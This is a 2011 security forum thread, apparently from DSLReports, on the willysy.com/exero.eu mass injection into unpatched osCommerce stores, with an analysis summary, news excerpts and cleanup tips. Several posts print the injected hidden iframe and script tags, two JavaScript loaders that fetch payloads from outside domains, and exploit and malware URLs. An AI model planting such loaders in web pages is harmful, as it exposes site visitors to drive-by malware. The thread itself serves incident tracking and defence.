site Search:


 
    All Forums Hot Topics Gallery






how-to block ads


 
Search Topic:
Uniqs:
8073
Share Topic
Posting?
Post a:
Post a:
Links: ·Hijack This logs? ·Panda Free Tools ·Vundo Removal
page: 1 · 2
AuthorAll Replies


Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

2 edits

willysy .com Mass Injection - 1 million infected sites

EDIT: Avast was flagging this post. I inserted spaces in the code and addresses to compensate.
Thanks to Ronnie_USA See Profile for cluing me in.
/


This sucker likes to infect online stores.




said by Armorize Blog :

[Summary]

1. Number of infections: As of July 30th, Google shows more than 1,150,000 (willysy) + 123,000 (exero) = 1,273,000 infected pages. That's more than a million pages. Note this number is for individual infected pages, not sites or domains.

2. Injected iframe:
initially it was:
<iframe src='h t t p : / / w i l l y s y.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>

Later it became:
<script src=h t t p : / / e x e r o.eu/catalog/jquery.js></script>

3. Attacker:
Ukraine IPs: - removed - (all AS47694).
Agent string: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

4. Target and website vulnerability:
osCommerce sites, using at least the following vulnerabilities: osCommerce Remote Edit Site Info Vulnerability, osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability, and Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass.

5. Browser exploits used:
CVE-2010-0840 -- Java Trust
CVE-2010-0188 –- PDF LibTiff
CVE-2010-0886 -– Java SMB
CVE-2006-0003 -– IE MDAC
CVE-2010-1885 – HCP

6. Exploit domain:
arhyv.ru, counv.ru
Date of registration: July 20th
Registered by: leshkinaira@yahoo.com
IP: - removed - (AS51632 Ukrain - Inet Ltd)
Related domains: xlamv.ru, vntum.ru

7. Malware URL:
h t t p : / / 4 6 . 1 6 . 2 4 0 . 1 8 / 9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot

.
The Ukrainian attack vector looks like part of a recent trend.
said by CountryBlock :

Ukraine: Most Dangerous Networks
July 19th, 2011

If there was a July Olympic event for comment spammers, hackers and generally unwanted network traffic, Ukraine would certainly be vying for a gold medal. While monitoring web traffic from thousands of IP addresses located in The Ukraine, we noticed a familiar pattern: 99.99% of the traffic was malicious, detrimental or otherwise undesirable.

Ukrainian network traffic receives our most strenuous thumbs down for the month of July. If you are not doing business with any entity located within The Ukraine, you may consider blocking all network traffic from that country.

NV

--
Adopting other people's animosity is The New Stupid.

redwolfe_98
Premium
join:2001-06-11
kudos:1

thanks noah vail..

"willysy.com" isn't resolving at the moment, which is good, but it is possible that it could pop back up at a new ip address..



Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

1 edit

said by redwolfe_98:

"willysy.com" isn't resolving at the moment, which is good, but it is possible that it could pop back up at a new ip address..

The more recent code is pointing to e x e r o.eu
It's currently live and pointing to an IP in Germany (Robtex info).

So much for blackballing Ukraine.

I entered the /24 (84.200.214.0) containing the malicious IP into the firewalls for now. Tomorrow I'll figure out what to put in the IP blocklists.

The /16 containing it is owned by Accelerated IT Svcs - GmbH.
They've probably been contacted 20x by now. I figure they'll be slow to respond like most hosting svcs.

NV
--
Adopting other people's animosity is The New Stupid.

redwolfe_98
Premium
join:2001-06-11
kudos:1

4 edits

said by Noah Vail:

I entered the /24 (84.200.214.0) containing the malicious IP into the firewalls for now

here is what my ip address block-rule looks like:

77.0.0.0 - 95.255.255.255 Eastern Europe/Ripe



i try to block everything outside of "ARIN" ie the US and canada (and i have parts of "ARIN" blocked, too).. i would block all of canada, too, if i could, but it is not practical for me to do that since it is included in "ARIN", along with the US.. of course i have some exceptions, allowing some connections to ip addresses in europe and asia, for example..

the 212.0.0.0 block is one block that belongs to "RIPE" that i don't have completely blocked, though i do block parts of it.. i don't have it blocked because several legitimate websites that i use use ip addresses within that block, so i don't think it is practical for me to completely block it..


Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

reply to Noah Vail
I thought visiting some infected sites might be fun.

The first one tried to launch hxxp://c h r i s a l r u s s i a.ru/iframe.php?id=0xxnnc.....

Chrisalrussia.ru is an established domain but has been blackballed by a number of entities (ie:WoT) today.
It resolves to an IP hosted in the Czech Republic.
(Robtex info on chrisalrussia .ru)

and

The .js scripts from exero.eu are now redirecting to hxxp://a k t y n.com/jquery.js . It's at a Polish IP that became listed by WoT yesterday.
(Robtex info on aktyn .com)

If anyone is curious, the code from the .js script is as follows:
function xx() {
try {
if(document.readyState == "complete") {
var fr = document.createElement("script");
fr.src = "hxxp:// a k t y n.com/catalog/admin/includes/classes/etc/js2.php";
document.body.appendChild(fr);
var js = document.createElement("script");
js.src = "hxxp:// a k t y n.com/jquery.js?l=1";
document.body.appendChild(js);
} else {
setTimeout("xx()",300);
}
} catch(e) {
setTimeout("xx()",300);
}
}
xx();


NV

--
Adopting other people's animosity is The New Stupid.



Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

reply to redwolfe_98

said by redwolfe_98:

here is what my ip address block-rule looks like:

77.0.0.0 - 95.255.255.255 Eastern Europe/Ripe

I wish I could do that. Unfortunately my customers transact business overseas and their email has to reach our servers.

I can block most of Eastern Europe and SE Asia (using pfSense/CountryBlock) so that helps a lot.
Past that I have to develop blocklists based on who gives us grief - mostly spam.

Shallalist's proxy lists help a lot to block any crap over http.

NV
--
Adopting other people's animosity is The New Stupid.

redwolfe_98
Premium
join:2001-06-11
kudos:1

4 edits

reply to Noah Vail

said by Noah Vail:

I thought visiting some infected sites might be fun. The first one tried to launch hxxp://c h r i s a l r u s s i a.ru/iframe.php?id=0xxnnc...

what was the original site, that "tried to launch hxxp://c h r i s a l r u s s i a.ru/iframe.php?id=0xxnnc..."?


Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

reply to Noah Vail
I'm visiting infected sites that google returned when searching for the javascript url at exero.eu. I'm sorting the results by date to (maybe) get the most recently indexed.

The infected page loads were carbon copies of the first I visited - until this last one.

This one starts off with
hxxp://e x e r o.eu/catalog/css.htm
that contains
<script type='text/javascript' src='hxxp://a d e p o r t e s.es/images/info/js/js.php'></script>
.

and that js.PHP contains the following
function vdeh() {
if(document.all.length > 3) {
var dch = document.createElement("iframe");
dch.id = "dchid";
dch.src = "http://l a b o u r c e.ru/iframe.php?id=0xxnnc3e8793z0nevu1f4o36ncdvg34";
dch.style.width = "1px";
dch.style.height = "1px";
document.all[3].appendChild(dch);
} else {
setTimeout("vdeh()",500);
}
} setTimeout("vdeh()",500);


The labourc.ru domain is a few years old. I can't tell how long the server there has been online but my feeling is that it's the shell of a long abandoned project.

The PHP return is lengthy, maybe it contains a 404.
I pastebin'd it Here.

The CSS I mentioned above is Referenced @ Sec.nl in a Fri posting. So the above code was prob injected 3 or more days ago.

The main thing I get out of all this is that this infection may have tons of variation, pulling data from new domains every day or two.

and I'm listing what I find because DSLR is quickly indexed and this stuff might help someone else out.

The question is - when this bug runs out of unpatched osCommerce sites is that going to be the end of this?

NV

--
Adopting other people's animosity is The New Stupid.


redwolfe_98
Premium
join:2001-06-11
kudos:1

said by Noah Vail:

I'm visiting infected sites that google returned when searching for the javascript url at exero.eu

right.. i figured that out..


Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

said by redwolfe_98:

said by Noah Vail:

I'm visiting infected sites that google returned when searching for the javascript url at exero.eu

right.. i figured that out..

There are other search strings I could have used - besides the orig two.

Except that they weren't being indexed by googlebot and aren't very productive.

One gave this site (from last Wed.) - that dug up the same info I did 5 days earlier. Hmm.

and

The OP'd blog is marking 3.5 million infections at this posting.

NV
--
Adopting other people's animosity is The New Stupid.


Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

reply to redwolfe_98

said by redwolfe_98:

said by Noah Vail:

I thought visiting some infected sites might be fun. The first one tried to launch hxxp://c h r i s a l r u s s i a.ru/iframe.php?id=0xxnnc...

what was the original site, that "tried to launch hxxp://c h r i s a l r u s s i a.ru/iframe.php?id=0xxnnc..."?

YaYang Ornamental Iron
hxxp://www.yayangdesigns.com/index.php?manufacturers_id=37

It's currently infected.

NV
--
Adopting other people's animosity is The New Stupid.


therube

join:2004-11-11
Randallstown, MD

reply to Noah Vail
From:

7. Malware URL:
h t t p : / / 4 6 . 1 6 . 2 4 0 . 1 8 / 9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot

7/43, »www.virustotal.com/file-scan/rep···12211494



therube

join:2004-11-11
Randallstown, MD

1 edit

reply to Noah Vail
What I'm confused by, is just what is this doing?

So a ton of websites [where's the "security" on that end!] have been injected with this hidden IFRAME.

And ... then what? What happens next?

Or are the sites I've visited just not displaying or doing anything (currently)?

h t t p://www.google.com/search?q=%22http%3A%2F%2Fwill ysy.com%2Fimages%2Fbanners%22&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=seamonkey-a#sclient=psy&hl=en&client=seamonkey-a&rls=org.mozilla:en-US%3Aunofficial&source=hp&q=%22http:%2F%2Fwill ysy.com%2Fimages%2Fbanners%22&pbx=1&oq=%22http:%2F%2Fwill ysy.com%2Fimages%2Fbanners%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=19320l19320l0l19944l1l1l0l0l0l0l117l117l0.1l1l0&bav=on.2,or.r_gc.r_pw.&fp=da8c3ab7508c4c6a&biw=1280&bih=570



Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

1 edit

said by therube:

What I'm confused by, is just what is this doing?

So a ton of websites [where's the "security" on that end!] have been injected with this hidden IFRAME.

And ... then what? What happens next?

My java and site coding are weak-to-nonexistent - so I really don't know how the IFRAME injection is used to gain access to the remote admin panel.

This is what I was able to piece together.

1) All the osCommerce servers I checked came back as IIS6 - Server 2003 I figure.
I never looked to see if they were sharing common hosting companies.

2) The OP blog indicates that these were un-patched osCommerce sites - - that the exploit was gaining access to the admin panel.

Some injected sites also had a remote admin/access trojan installed during an automated process.

3) The OP blog shows the exploit initially seeded from a few Ukranian IPs. I'm not clear how this spread past that.

Even though site loads contained infected code, it didn't seem to try to infect my Linux VM.
Maybe if my VM was server 2k3 I'd of had a different experience.

Anyway:
1+2+3 indicate to me that it's purpose was data harvesting and fishing for new servers to push future malware.

and

4) The malware serving domains were all different types of sites.

One was an active (if poorly done) eCommerce site. One was some long abandoned project of someones. Another was a newly setup domain.
That indicates to me that someone was directly involved in getting them prepped.

5) I've found variants of this code targeting other types of sites - going back months. This attack was simply the next one.

and

6) At this posting, the infection is definitely on the wane.
Search engine results are down by two-thirds with nothing new this evening.
(A # of sites that google showed infected were clean when I tested them)

A tracert indicates traffic to h t t p : / / e x e r o.eu/catalog/jquery.js is being blocked by the host (accelerated.de).

Edit: I sent a zipped jsquery.js to VirusTotal

Time to move on.

NV
--
Adopting other people's animosity is The New Stupid.

redwolfe_98
Premium
join:2001-06-11
kudos:1

4 edits

reply to therube

said by therube:

What I'm confused by, is just what is this doing? So a ton of websites have been injected with this hidden IFRAME. And ... then what? What happens next?

therube, i am not an "expert" but, from reading the blog that was linked to in the original post, as you might expect, i think the iframe(s) ultimately try to download malware..

here is a link to the blog-post, from the original post, that discusses the issue:

http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html

i think this is another article relating to the same thing:

http://www.theregister.co.uk/2011/08/01/banking_trojan_exploits_ecommerce_website_flaws/

http://blog.trendmicro.com/oscommerce-mass-compromise-leads-to-information-theft

(the hyperlinks didn't work )

Jrb2
Premium
join:2001-08-31
kudos:3

1 edit

For what it's worth:

Recent tools from Greatis:

1.
Remove Willysy.com/images/banners infection from your website:
»greatis.com/security/willysy-com···oval.htm

2.
Remove Exero.eu/catalog/jquery infection from your website:
»greatis.com/security/exero-eu-we···oval.htm



Name Game
Premium
join:2002-07-07
North Myrtle Beach, SC
kudos:6

1 edit

Malware attack spreads to 5 million pages (and counting)

The mass attack, which compromises websites running unpatched versions of the osCommerce store-management web application, has spread virally over the past week. When researchers from web security firm Armorize first discovered it on July 24, Google search results suggested just 91,000 webpages were infected. As of Tuesday, those same search results showed the exploit had spread to almost 5 million pages.

According to Armorize, the attack exploits at least three osCommerce security flaws, one that was disclosed just three weeks ago. The vulnerabilities have allowed attackers using Ukrainian IP addresses to inject iframes into unpatched websites. The iframes silently redirect visitors to malicious files located on willysy.com and exero.eu. Those domain names, in turn redirect visitors to a series of intermediate websites that ultimately try to exploit several Windows vulnerabilities.

Visitors who haven't installed patches are then compromised, usually with no outward indication.

http://www.theregister.co.uk/2011/08/02/mass_injection_attack_goes_viral/



Noah Vail
Son made my Avatar
Premium
join:2004-12-10
Lorton, VA
kudos:1
Reviews:
·Bright House
·Sprint Mobile Br..

said by Name Game:

Malware attack spreads to 5 million pages (and counting)

Excuse me. I don't think so.
said by Noah Vail:

6) At this posting, the infection is definitely on the wane.
Search engine results are down by two-thirds with nothing new this evening.
(A # of sites that google showed infected were clean when I tested them)

Time to move on.
NV

As the Oracle of the Internet, I have already spoken on this matter.

I'll thank you kindly-very-much to pay closer attention next time.

sheesh.
NV
--
Adopting other people's animosity is The New Stupid.


mouse
Premium
join:2007-03-29
australia

reply to Noah Vail
Is there any way to check on a website with respect to this malware?


redwolfe_98
Premium
join:2001-06-11
kudos:1

said by mouse:

Is there any way to check on a website with respect to this malware?

you can check this out:

»sitecheck.sucuri.net/scanner/

Saturday, 02-Jun 12:09:44 Terms of Use & Privacy | feedback | contact | Hosting by nac.net - DSL,Hosting & Co-lo
over 12.5 years online © 1999-2012 dslreports.com.
Most commented news this week
Hot Topics